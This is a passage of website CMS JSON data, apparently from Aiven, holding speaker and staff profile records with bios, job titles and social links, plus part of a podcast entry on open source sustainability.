applications."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-9642d5388812df67abc3b1324f60e4ebe6bc38b2-1200x1200-jpg","_type":"reference"}},"jobTitle":"Head of Developer Relations \u0026 PLG, Hookdeck","name":"Phil Leggetter","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/leggetter/"}}
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{"__i18n_lang":"en","_createdAt":"2023-10-19T12:39:55Z","_id":"0f1f8df8-71af-43f8-b433-d036748c2043","_rev":"dWOXoeBNhMRLotF8JXvBsB","_type":"person","_updatedAt":"2023-10-25T14:49:21Z","bio":[{"_key":"e0c1370baed3","_type":"block","children":[{"_key":"f0227f8706bb0","_type":"span","marks":[],"text":"Sandeep is a seasoned professional in the field of Data Platform Engineering. As the Data Platform Engineering Lead at Dojo, he plays a pivotal role in designing and building self-serve data platforms within a data mesh architecture. With a rich background in developing real-time distributed data processing solutions at esteemed organisations like Babylon, Funding Circle, and Worldpay, Sandeep brings a wealth of practical experience to his work."}],"markDefs":[],"style":"normal"},{"_key":"27e6b88c70e4","_type":"block","children":[{"_key":"214010b702c8","_type":"span","marks":[],"text":"\nBeyond his professional achievements, Sandeep possesses an insatiable curiosity for emerging technologies. He dedicates his spare time to continuous learning and staying abreast of the latest advancements in the industry. With a genuine passion for knowledge sharing, Sandeep enjoys writing about new technologies, contributing to the collective growth and understanding of the community."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-79ae9615a5e9a374c2f9b59c9a651d0077894305-1520x1900-jpg","_type":"reference"}},"jobTitle":"Engineering Lead Data Platforms, Dojo","name":"Sandeep Mehta","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/sandeep-mehta26/","website":"https://www.dojo.careers/blog/data-tech-product/data-platform-engineering-at-dojo/"}}
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{"__i18n_lang":"en","_createdAt":"2023-03-16T18:28:08Z","_id":"207b429c-5f05-4328-b80d-ca1671d5c636","_rev":"0lF4kyZBi1fr8QymZ6KwIN","_type":"person","_updatedAt":"2023-03-16T18:28:08Z","bio":[{"_key":"a060f7f0c6f2","_type":"block","children":[{"_key":"d0773b6439dd0","_type":"span","marks":[],"text":"Mrinal is the Director of Platform development at Simplilearn. He is a result oriented technical leader with strong hands-on expertise in LAMP and MEAN stacks, people, process and stakeholder management. Have extensively worked in SDLC of large-scale enterprise applications for eCommerce and played a significant role in building the learning platform of Simplilearn."}],"markDefs":[],"style":"normal"},{"_key":"3eef3898389c","_type":"block","children":[{"_key":"4839acb2b7fd0","_type":"span","marks":[],"text":"Mrinal specializes in external system integrations and event based architecture, and has championed Apache Kafka to solve various business challenges facing organizations. Off work, he is an avid singer and guitarist and loves to jam with friends and family."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Mrinal Barua","asset":{"_ref":"image-14647c8ae9175c36c0782350a4bdb36f09e1cf0b-259x258-jpg","_type":"reference"}},"jobTitle":"Director of Platform Development, Simplilearn","name":"Mrinal Barua"}
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{"__i18n_lang":"en","_createdAt":"2022-12-05T15:37:47Z","_id":"24db6ddd-5fa4-4dbb-90e1-7e24348843fe","_rev":"kaQ4ZWos4gq6sBfd7sK8c3","_type":"person","_updatedAt":"2023-09-20T13:21:06Z","bio":[{"_key":"d512c5d07a28","_type":"block","children":[{"_key":"5805eee1bd410","_type":"span","marks":[],"text":"Josep Prat is a Open Source Software Director at Aiven and is passionate about Open Source Technologies. With a strong background in Scala and distributed systems, he contributes to several Open Source Projects around streaming technologies. In his spare time, Josep enjoys late and long brunches on Sundays."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Josep Prat","asset":{"_ref":"image-4b7cc2684cdad92d32e1fde8bc07c35374fa8e96-800x800-jpg","_type":"reference"}},"jobTitle":"Open Source Engineering Director, Aiven","name":"Josep Prat","socialLink":{"_type":"socialLink","email":"josep.prat@aiven.io","linkedIn":"https://www.linkedin.com/in/jlprat/"}}
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{"__i18n_lang":"en","_createdAt":"2023-07-18T09:04:45Z","_id":"29dcb771-16aa-4366-9197-590b46fe9803","_rev":"Q0E4krIrrKzFT4b6rSkmex","_type":"person","_updatedAt":"2023-07-19T08:12:46Z","bio":[{"_key":"28908067e7c7","_type":"block","children":[{"_key":"80e48820401c0","_type":"span","marks":[],"text":"As the DevOps team lead, Yotam is responsible for overseeing the efficient and reliable operation of Talon.One’s software development and deployment processes. He manages an enterprise-scalable infrastructure trusted by renowned customers such as Adidas, Afterpay, and Ticketmaster."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-c94eff14344786744c8ee09b9e465a364bf71190-500x500-webp","_type":"reference"}},"jobTitle":"DevOps Lead at Talon.One","name":"Yotam Cohen","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/yotam-cohen-b148a051/"}}
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{"__i18n_lang":"en","_createdAt":"2023-12-18T17:12:47Z","_id":"33a35350-5908-4984-8260-4e8d1a36eb23","_rev":"sg5cBJWkRHo7pkcz4M677B","_type":"person","_updatedAt":"2023-12-18T17:14:32Z","image":{"_type":"mainImage","alt":"Arthur Ansquer","asset":{"_ref":"image-468afda05d8d2c2a94817b355ae6afe58847e025-512x512-png","_type":"reference"}},"jobTitle":"Product Manager, Aiven","name":"Arthur Ansquer","slug":{"_type":"slug","current":"/arthur-ansquer"}}
{"__i18n_lang":"en","_createdAt":"2024-03-28T09:44:40Z","_id":"360b4b6c-3513-4a52-82f9-0fcde3b3b4d1","_rev":"jtKCOwvZznpSK3bAV6eooG","_type":"person","_updatedAt":"2024-03-28T09:44:40Z","bio":[{"_key":"740b20ef68f7","_type":"block","children":[{"_key":"198e3540288e","_type":"span","marks":[],"text":"Previously a Senior Customer Success Engineer at GitLab, Philippe is now a Senior Solutions Architect at Docker, and recognized by Gitpod as a Community Hero."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Philippe Charrière","asset":{"_ref":"image-b4f5319c8cb538440d24e4a24b1fc406ed25e9d3-512x512-png","_type":"reference"}},"jobTitle":"Senior Solution Architect at Docker","location":"Lyon, France","name":"Philippe Charrière","role":"community-advocates","slug":{"_type":"slug","current":"/philippe-charriere"},"socialLink":{"_type":"socialLink","github":"https://github.com/k33g","twitter":"https://twitter.com/k33g_org"},"specialtyTopicTags":["WASM","Docker","Public speaking","Blogging",""]}
{"__i18n_lang":"en","_createdAt":"2023-05-10T10:10:39Z","_id":"36874b14-1068-41af-a5b3-810819479ef7","_rev":"OlHhyDbudqKag6cjyDCkqs","_type":"person","_updatedAt":"2023-10-03T15:07:38Z","bio":[{"_key":"82a00ec95b1d","_type":"block","children":[{"_key":"8a1c2f0acb250","_type":"span","marks":[],"text":"Matty Stratton is the Director of Developer Relations at Aiven, a well-known member of the DevOps community, founder and co-host of the popular Arrested DevOps podcast, and a global organizer of the DevOpsDays set of conferences.\n\nMatty has over 20 years of experience in IT operations and is a sought-after speaker internationally, presenting at Agile, DevOps, and cloud engineering focused events worldwide. Demonstrating his keen insight into the changing landscape of technology, he recently changed his license plate from DEVOPS to KUBECTL.\n\nHe lives in Chicago and has three awesome kids, whom he loves just a little bit more than he loves Diet Coke."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Matty Stratton","asset":{"_ref":"image-4a949d82363a75a1fc11c01c1430b8513354b371-2387x2774-png","_type":"reference"}},"jobTitle":"Director, Developer Relations, Aiven","location":"Chicago, Illinois, USA","name":"Matty Stratton","pardotForm":"https://go.aiven.io/l/890043/2023-06-28/sltlr","role":"dev-rel","slug":{"_type":"slug","current":"/matty-stratton"},"socialLink":{"_type":"socialLink","github":"https://github.com/mattstratton","linkedIn":"https://www.linkedin.com/in/mattstratton/","mastodon":"https://hachyderm.io/@mattstratton","twitter":"https://twitter.com/mattstratton","website":"https://speaking.mattstratton.com"},"specialtyTopicTags":["DevOps","Kubernetes","Socio-technical systems","Infrastructure as Code","TechOps","Infrastructure operations","SRE"]}
{"__i18n_lang":"en","_createdAt":"2023-03-02T12:38:45Z","_id":"37f35a80-44f4-47c1-8578-3d2c3f6f76ef","_rev":"iUKOwlWz6dlX4J4w1aNsTS","_type":"person","_updatedAt":"2023-03-02T12:39:28Z","bio":[{"_key":"899f4044a143","_type":"block","children":[{"_key":"71edc0508fac0","_type":"span","marks":[],"text":"Filip has many years of experience in consulting, IT project management, and product development. His previous positions include being responsible for the data streaming platform at ING with Apache Kafka and its ecosystems of 40 ING markets. He has experience as a senior product owner at REWE Digital and as a product owner at IBM for Docker Containers."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-f8ff08ad70e20f79c28f29f342fadba103642622-500x500-jpg","_type":"reference"}},"jobTitle":"Director of Product, Data Streaming Services","name":"Filip Yonov","socialLink":{"_type":"socialLink","email":"filip.yonov@aiven.io","linkedIn":"https://www.linkedin.com/in/filipyonov/"}}
{"__i18n_lang":"en","_createdAt":"2024-03-11T14:43:39Z","_id":"4055f8bb-ccf1-4f1e-8155-cb532f360849","_rev":"3FGtLQfVRJNnLVm3pXUE99","_type":"person","_updatedAt":"2024-03-11T17:00:09Z","bio":[{"_key":"5714a352a348","_type":"block","children":[{"_key":"592a806c8ee40","_type":"span","marks":[],"text":"Nancy is an Engineer and Developer Advocate. She likes hacking through software engineering problems. She loves everything around Open source, DevOps \u0026 Security. What truly excites Nancy is involving people throughout the journey—from ideation to execution. She always look forward to leveraging her skills to enhance communication and understanding between diverse stakeholders. Nancy is a CNCF Ambassador. She has taken the initiative to establish the \"Women in Cloud Native Community\" to encourage diversity and participation. Nancy recently organized the first cloud-native sustainability mini-conference in India, bringing together folks and initiating discussions on this crucial topic."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Nancy Chauhan","asset":{"_ref":"image-2325bce0bb6803b173115149a6b9b6f1c582561a-800x800-jpg","_type":"reference"}},"jobTitle":"Developer Advocate, LocalStack","location":"Bengaluru, India","name":"Nancy Chauhan","role":"community-advocates","slug":{"_type":"slug","current":"/nancy-chauhan"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/nancy-chauhan/","twitter":"https://twitter.com/_nancychauhan"},"specialtyTopicTags":["Kafka","Open Source","Cloud","Cloud native"]}
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{"__i18n_lang":"en","_createdAt":"2023-05-11T19:29:37Z","_id":"6e89817e-c204-41c6-baf1-47fccad2cdf5","_rev":"rmwlP4nleGzuGoL3WAAhDO","_type":"person","_updatedAt":"2023-05-16T13:47:03Z","bio":[{"_key":"1f0e80a1eb1a","_type":"block","children":[{"_key":"e83ca934d5440","_type":"span","marks":[],"text":"Amy Krishnamohan is VP of Product Marketing at Aiven responsible for product / solution marketing. She has diverse experience across product marketing, marketing strategy and product management from leading enterprise software companies such as Google, MariaDB, SAP, Accenture, Cisco and Intuit. Amy received her Masters in Software Management from Carnegie Mellon University"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-08b4453f04968cc038abc9448e052de3bc81300d-800x800-jpg","_type":"reference"}},"jobTitle":"VP of Product Marketing, Aiven","name":"Amy Krishnamohan","socialLink":{"_type":"socialLink","email":"amy.km@aiven.io","linkedIn":"https://www.linkedin.com/in/amy-krishnamohan-34647020/"}}
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{"__i18n_lang":"en","_createdAt":"2022-09-02T15:12:53Z","_id":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_rev":"ZpixvKy5oWJdKYmQwbP1KM","_type":"person","_updatedAt":"2023-09-11T09:06:15Z","author":{"_ref":"4eOoTE1EiQcR9UTalcanQG","_type":"reference"},"bio":[{"_key":"e11b2e40e050","_type":"block","children":[{"_key":"7bb737c2e7600","_type":"span","marks":[],"text":"Floor is an art school graduate, who stumbled into tech face-first. Currently a Staff Community Program Manager at Aiven, previously she worked in DevRel roles at Grafana Labs and Microsoft. Floor is a Devopsdays Core member, and organizes the Devopsdays Amsterdam and Eindhoven conferences. She's a Microsoft MVP for Developer Technologies, and organizes a bunch of meetups, including but certainly not limited to contributing.today, and the Open Source Data Infrastructure meetup in Amsterdam."}],"markDefs":[],"style":"normal"}],"content":[{"_key":"1b596f22656a","_type":"block","children":[{"_key":"39c3776cae3c","_type":"span","marks":[],"text":"\"I enjoy working at Aiven because everyone here supports and loves the open source technology in our portfolio.\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Floor Drees","asset":{"_ref":"image-779e18996baf29db46ceeaae57a91018a33660fe-768x768-jpg","_type":"reference"}},"jobTitle":"Staff Community Program Manager, Aiven","location":"The Netherlands","name":"Floor Drees","pardotForm":"https://go.aiven.io/l/890043/2023-09-11/sztzn","role":"dev-rel","slug":{"_type":"slug","current":"/floor-drees"},"socialLink":{"_type":"socialLink","github":"https://github.com/floord","linkedIn":"https://www.linkedin.com/in/floordrees","mastodon":"https://hachyderm.io/@floord","twitter":"https://twitter.com/DevOpsBarbie","website":"https://floor.dev"},"specialtyTopicTags":["Open source sustainability","Governance","Open source funding","DEI and neurodiversity","DevOps","Git/GitHub","Grafana","Load testing"]}
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{"__i18n_lang":"en","_createdAt":"2023-06-14T13:03:59Z","_id":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_rev":"6TkalTjRLEz7XIg6Axf6ln","_type":"person","_updatedAt":"2023-07-03T08:50:44Z","author":{"_ref":"af200904-2806-41f9-8278-b1104bb26d0a","_type":"reference"},"bio":[{"_key":"80bdfb817ff2","_type":"block","children":[{"_key":"ee42dd535f6f0","_type":"span","marks":[],"text":"Sébastien Blanc is a Passion-Driven-Developer with one primary goal: Make the Developers Happy. He likes to share his passion by giving talks that are pragmatic, fun and focused on live coding."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Sébastien Blanc","asset":{"_ref":"image-dd4eae2fedecd9c3668ae6008d4fe1bcbafefad8-800x1200-jpg","_type":"reference"}},"jobTitle":"Staff Developer Advocate, Aiven","location":"France","name":"Sébastien Blanc","pardotForm":"https://go.aiven.io/l/890043/2023-07-03/sm538","role":"dev-rel","slug":{"_type":"slug","current":"/sebi"},"socialLink":{"_type":"socialLink","github":"https://github.com/sebastienblanc","linkedIn":"https://www.linkedin.com/in/s%C3%A9bastien-blanc-08a73b1/","twitter":"https://twitter.com/sebi2706"},"specialtyTopicTags":["Java","Open source","PostgreSQL"]}
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{"__i18n_lang":"en","_createdAt":"2024-03-12T13:14:27Z","_id":"932e45ac-f3b8-465d-b765-97e70e5a21e7","_rev":"L3boCkkiM9On4ApfxO6JzX","_type":"person","_updatedAt":"2024-03-12T13:28:59Z","bio":[{"_key":"33c8cae80fc8","_type":"block","children":[{"_key":"50bab84b91260","_type":"span","marks":[],"text":"Amanda Lewis is a Developer Relations Engineer on the DORA Advocacy team at Google Cloud. She leads the development of the DORA Community of Practice and is a co-author of the 2023 Accelerate State of DevOps Report. Her career has been spent building connections across teams to develop e-commerce platforms, content management systems, observability tools, and support developers. She helps teams develop a culture of continuous improvement to deliver improved well-being and better outcomes for the business."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Amanda Lewis headshot","asset":{"_ref":"image-631344d2b78f654db0d9540c2f4a40240fdf4f35-3000x2400-jpg","_type":"reference"}},"jobTitle":"Developer Advocate, Google Cloud ","name":"Amanda Lewis","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/lewisamanda/","twitter":"https://twitter.com/swansama"}}
{"__i18n_lang":"en","_createdAt":"2023-03-16T18:31:34Z","_id":"bef9599d-339b-4d09-9501-650f56ff9117","_rev":"O0EfMG90JIl2OD8UsHGDah","_type":"person","_updatedAt":"2024-01-08T17:26:17Z","bio":[{"_key":"ca37c467b986","_type":"block","children":[{"_key":"d901da5ac5ac0","_type":"span","marks":[],"text":"Markos works as a Product Marketing Manager for Event Streaming at Aiven. He previously held marketing position for Ververica, ResearchGate and LinkedIn and he is passionate about real time data streaming and stream processing technologies."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Markos Sfikas","asset":{"_ref":"image-ba85544cbc04ffb2a664361f9b81a994bc9a2941-860x860-jpg","_type":"reference"}},"jobTitle":"Product Marketing Manager for Event Streaming, Aiven","name":"Markos Sfikas"}
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{"__i18n_lang":"en","_createdAt":"2024-03-18T08:23:15Z","_id":"b7b3bd32-7e12-42ca-ab85-027115eade70","_rev":"Mwja7swPJspBVknlrRYKbE","_type":"person","_updatedAt":"2024-04-02T07:15:53Z","bio":[{"_key":"751e505e00f2","_type":"block","children":[{"_key":"084dfe2b5a920","_type":"span","marks":[],"text":"Tun Shwe is the VP of Data at Quix, where he leads data strategy and developer relations. He is focused on helping companies imagine and implement their strategic data vision with stream processing at the forefront. He was previously a Head of Data and Data Engineer at high growth startups and has spent his career leading T-shaped teams in developing analytics platforms and data-intensive AI applications. "}],"markDefs":[],"style":"normal"},{"_key":"c0e96be89881","_type":"block","children":[{"_key":"143a2d95eb24","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"9b2df5ba4d9d","_type":"block","children":[{"_key":"cdc0c6d1081e","_type":"span","marks":[],"text":"In his spare time, Tun goes surfing, plays guitar and tends to his analogue cameras."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Tun Shwe","asset":{"_ref":"image-4430b3d7c727b6a79c78cdb49bc74808b26b67fe-1200x1200-jpg","_type":"reference"}},"jobTitle":"VP of Data \u0026 DevRel, Quix","location":"London, UK","name":"Tun Shwe","role":"community-advocates","slug":{"_type":"slug","current":"/tun-shwe"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/tunshwe/"},"specialtyTopicTags":["Kafka","Python",""]}
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{"__i18n_lang":"en","_createdAt":"2024-03-26T15:06:34Z","_id":"24ded3b2-2265-41c8-aedb-b7e72c31fd52","_rev":"67bMqYmOBHw05z0ZRwyEeZ","_type":"person","_updatedAt":"2024-03-28T14:03:06Z","bio":[{"_key":"499f41328312","_type":"block","children":[{"_key":"d8e04c8487ae0","_type":"span","marks":[],"text":"John Turner boasts over 15 years of diverse technical leadership in the financial sector, adept at managing intricate technical landscapes while prioritizing seamless client engagement."}],"markDefs":[],"style":"normal"},{"_key":"17f3aa1ed435","_type":"block","children":[{"_key":"e279c0485ba00","_type":"span","marks":[],"text":"His expertise spans database management, cloud infrastructure, and document storage, consistently delivering tailored solutions aligning with stringent industry standards and unique client needs."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-10583552f0e9a06c6924def951fe9440bec3edea-512x419-png","_type":"reference"}},"jobTitle":"Senior Technical Account Manager, Aiven","name":"John Turner"}
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{"__i18n_lang":"en","_createdAt":"2024-03-26T11:12:03Z","_id":"f2ddbba5-6c3a-4566-ab4e-31a73d4c32b0","_rev":"Mwja7swPJspBVknlrRYJMW","_type":"person","_updatedAt":"2024-04-02T07:14:14Z","author":{"_ref":"5bcc0d2e-daa8-4b34-b8f1-40ade6425be0","_type":"reference"},"bio":[{"_key":"686f3806a11e","_type":"block","children":[{"_key":"3c07a754ae580","_type":"span","marks":[],"text":"Henrietta Dombrovskaya is a database researcher and practitioner with over 40 years of academic and industrial experience. She holds a Ph.D. in Computer Science from the University of Saint Petersburg, Russia. At present she is: "}],"markDefs":[],"style":"normal"},{"_key":"086cff3405ff","_type":"block","children":[{"_key":"1cd6db9f9d33","_type":"span","marks":[],"text":"Database Architect at DRW Holdings in Chicago, IL "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6cd93ff6a4eb","_type":"block","children":[{"_key":"c9da9d65f946","_type":"span","marks":[],"text":"Local Organizer of the Chicago PostgreSQL User Group "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"44ace74d7d14","_type":"block","children":[{"_key":"81f478079f1d","_type":"span","marks":[],"text":"Active community member, a frequent speaker at the PostgreSQL Conferences "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2363e35c8108","_type":"block","children":[{"_key":"9635d9e00c17","_type":"span","marks":[],"text":"A researcher focused on developing efficient interactions between applications and databases and implementation of temporal data "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d591307f9a99","_type":"block","children":[{"_key":"e82b40575abc","_type":"span","marks":[],"text":"An author of the PostgreSQL Query Optimization book"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Hettie Dombrovskaya","asset":{"_ref":"image-2f10e59e7447f1ba302154143313977977a5301e-3024x4032-jpg","_type":"reference"}},"jobTitle":"Database Architect, DRW","name":"Hettie Dombrovskaya","role":"community-advocates","slug":{"_type":"slug","current":"/hettie-dombrovskaya"},"socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/henrietta-dombrovskaya-367b26/","twitter":"https://twitter.com/HettieDombr","website":"https://hdombrovskaya.wordpress.com/"},"specialtyTopicTags":["PostgreSQL","optimizing everything","blogging","public speaking","community organizing"]}
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{"__i18n_lang":"en","_createdAt":"2024-04-08T19:36:06Z","_id":"1eaa40ea-2f7c-4a09-8cf7-eb8bdc7064c9","_rev":"ajOdr4DX4POKI5xrBRFS3w","_type":"person","_updatedAt":"2024-04-17T14:25:54Z","bio":[{"_key":"1e579b72591c","_type":"block","children":[{"_key":"11c803be555f","_type":"span","marks":[],"text":"Larry has been in the data, analytics, and event streaming space for more than 20 years, making contributions for Fortune 500 companies as well as several startups."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-e7627605ff6e5495107c386256c471df59bfa53d-512x512-png","_type":"reference"}},"jobTitle":"Head of Product Marketing, Aiven","name":"Larry Heathcote"}
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{"__i18n_lang":"en","_createdAt":"2022-09-28T11:01:54Z","_id":"221ba44a-9a77-4ee5-a883-63cdfb045660","_rev":"DcneF66P6QscvZLjo8BqjU","_type":"person","_updatedAt":"2024-04-30T13:45:26Z","bio":[{"_key":"b22bb6951de9","_type":"block","children":[{"_key":"227aa5dd227c0","_type":"span","marks":[],"text":"Heikki is Field-CTO and Co-founder at Aiven, a trusted data and AI platform. With over two decades in software engineering and information security space, Heikki is passionate about developer productivity, open source and open standards and data management at scale."}],"markDefs":[],"style":"normal"}],"content":[{"_key":"094ed9edcc09","_type":"block","children":[{"_key":"7d2a46decc280","_type":"span","marks":[],"text":"\"One important part of open source is perhaps not only the code itself but also sharing information and what kind of business problems it helps to solve\""}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Heikki Nousiainen","asset":{"_ref":"image-c93a3f49aace022f7e4941b9613777b6e050908f-800x800-jpg","_type":"reference"}},"jobTitle":"Field CTO and Co-Founder, Aiven","name":"Heikki Nousiainen","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/heikki-nousiainen/"}}
{"__i18n_lang":"en","_createdAt":"2024-04-30T13:22:16Z","_id":"7eab2173-a9de-4996-b2ce-abc03d85a1e5","_rev":"lI1OMJNS7f9WP80Vhdiqj2","_type":"person","_updatedAt":"2024-04-30T13:22:16Z","bio":[{"_key":"c858f68e9f89","_type":"block","children":[{"_key":"477696935e120","_type":"span","marks":[],"text":"Arik is a software developer and consultant with over 3 years of experience specializing in green software and cloud solutions. As a key contributor to the open-source Cloud Carbon Footprint project, Arik helps clients implement sustainable cloud solutions and modernization strategies. He is also a member of the Green Software Foundation’s Open Source working group and served as an analyst for the first ever sustainability chapter of the HTTP Web Archive’s Annual Web Almanac."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Arik from Thoughtworks","asset":{"_ref":"image-06de93116715695a86efa0f05a9778fbfec60e24-1000x1000-jpg","_type":"reference"}},"jobTitle":"Expert CCF \u0026 Green Cloud, former TWer","name":"Arik Smith","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/ariks/"}}
{"__i18n_lang":"en","_createdAt":"2024-04-30T13:20:34Z","_id":"88867ca3-b103-49b4-ac3c-f52d01dd1ac1","_rev":"4CkiyUyzrvTW3s6mCoSkjf","_type":"person","_updatedAt":"2024-04-30T13:22:30Z","bio":[{"_key":"38eccbbc3564","_type":"block","children":[{"_key":"8ec87d0e0aa70","_type":"span","marks":[],"text":"Erik Dörnenburg is a software engineer and passionate technologist. As CTO Europe at Thoughtworks, he helps customers solve their business challenges with modern technologies, platforms and practices. On his 25-year journey through the tech industry, Erik has encountered a wealth of new technologies. That's why he and his colleagues created the Thoughtworks Technology Radar and Looking Glass Report, which focus on these very topics. Throughout his career, Erik has been an advocate of agile values and open source software. He is a regular speaker at international conferences, has contributed to several books and maintains several open source projects. Erik has a degree in Computer Science from the University of Dortmund and studied Computer Science and Linguistics at University College Dublin."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","alt":"Erik from Thoughtworks","asset":{"_ref":"image-fccb43a883774738492a3c72a0b5e85aa2bfae96-700x657-png","_type":"reference"}},"jobTitle":"CTO Europe, Thoughtworks","name":"Erik Dörnenburg","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/edoernenburg/"}}
{"__i18n_lang":"en","_createdAt":"2024-02-12T14:11:07Z","_id":"a2bf896d-f256-4f98-af02-55de53dc61a8","_rev":"2Op9OgqNBO1fad6Ozn0rcY","_type":"person","_updatedAt":"2024-08-14T20:01:56Z","bio":[{"_key":"40126dec3d24","_type":"block","children":[{"_key":"a7072df6f2b10","_type":"span","marks":[],"text":"Olivier has been driven to create, invent, and acquire new skills with more than 25 years of experience in digital transformation. He believes that one of the quickest and simplest routes between having an idea in our heads and making it happen is in the field of IT.\n"}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-ecd8ac37d5849451adfd75b7a3733a98b19966eb-512x512-jpg","_type":"reference"}},"jobTitle":"Senior Partner Solution Architect, Aiven","name":"Olivier Huber","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/olivierhuber/"}}
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{"__i18n_lang":"en","_createdAt":"2024-03-06T22:43:10Z","_id":"f2686486-2cf1-4777-a9a4-e8673dac62e0","_rev":"YaKEzcVhnb7P0fmfv99I76","_type":"person","_updatedAt":"2024-07-31T22:51:18Z","bio":[{"_key":"3088484f050e","_type":"block","children":[{"_key":"493d15014f3a0","_type":"span","marks":[],"text":"Clayton is the Sales Director for UK \u0026 Northern Europe at Aiven, where he leads efforts to simplify technology challenges and accelerate business outcomes with managed open-source data technologies. With over 14 years of experience in enterprise and Digital Native sales and several years in the Big Data and advanced analytics space, he has worked with industry leaders across multiple verticals. Known for his strategic planning and customer-focused approach, he has a track record of helping organisations accelerate the time to value of Data and AI initiatives while improving productivity and reducing costs."}],"markDefs":[],"style":"normal"}],"image":{"_type":"mainImage","asset":{"_ref":"image-c7104cb805258fb3331c116c0d8a21b479f9593b-512x512-jpg","_type":"reference"}},"jobTitle":"EMEA Sales Director at Aiven","name":"Clayton Sammuller","socialLink":{"_type":"socialLink","linkedIn":"https://www.linkedin.com/in/claytons/"}}
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{"__i18n_lang":"en","_createdAt":"2024-08-09T11:42:38Z","_id":"3aaa69e4-c42e-490e-be8b-33cf8634a6cf","_rev":"msvVOwV0ly404Y5JqDd7lr","_type":"podcast","_updatedAt":"2024-08-09T12:08:43Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"bcefd162756f","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-e1e3483be5a20da5cbd36b35b5c2db4c339cb3d2-2802x2800-png","_type":"reference"}},"imagePosition":"top","mediaWidth":"sm","mobileImageSetting":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://www.youtube.com/playlist?list=PLo6PI-0mPVLv1WCa38eHg887r97CYoSUE","title":"Subscribe and never miss an episode"},"roundedCorners":"rounded-none","tagline":"Podcast series: Data (R)Evolution","text":[{"_key":"30c3338adba8","_type":"block","children":[{"_key":"4bc1bc1f7f03","_type":"span","marks":[],"text":"Data drives innovation and revolutionizes the tech world. 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Tune in to learn about the evolving landscape of open source, its challenges, and how we can all contribute to its future security and viability."}],"markDefs":[],"style":"normal"},{"_key":"cfd7a88de180","_type":"block","children":[{"_key":"157c39bddf28","_type":"span","marks":["strong"],"text":"Key takeaways:"}],"markDefs":[],"style":"normal"},{"_key":"a7f66e00daed","_type":"block","children":[{"_key":"3ef2c056271e0","_type":"span","marks":[],"text":"Ensure the sustainability of open source projects by encouraging multiple contributors and reducing dependency on a single maintainer"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"01029e451681","_type":"block","children":[{"_key":"ce8cef5609c4","_type":"span","marks":[],"text":"Companies should use open source for financial benefits and actively contribute code, time, and resources to these projects"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4b739d8da89e","_type":"block","children":[{"_key":"884d59dcc646","_type":"span","marks":[],"text":"Evaluating the health of open-source projects involves a combination of numerical data, public information, and community understanding"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"}],"summary":"Discover the evolving landscape of open source software, a cornerstone of modern tech infrastructure facing sustainability challenges, and learn how we can contribute to securing its future.","title":"Making open source more secure and sustainable","ytId":"0jUgIsorAHw"},"publishedAt":"2024-08-20T06:00:00.000Z","resourceTag":{"contentType":{"_ref":"d5d56f66-8954-4e91-a5d3-0120140d4564","_type":"reference"}},"seo":{"_type":"metaData","metaDescription":"Discover the evolving landscape of open source software, a cornerstone of modern tech infrastructure facing sustainability challenges, and learn how we can contribute to securing its future.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-1eb436ba92a4385be9ad6c1d09f170632b777a0e-1280x720-jpg","_type":"reference"}},"metaTitle":"Data 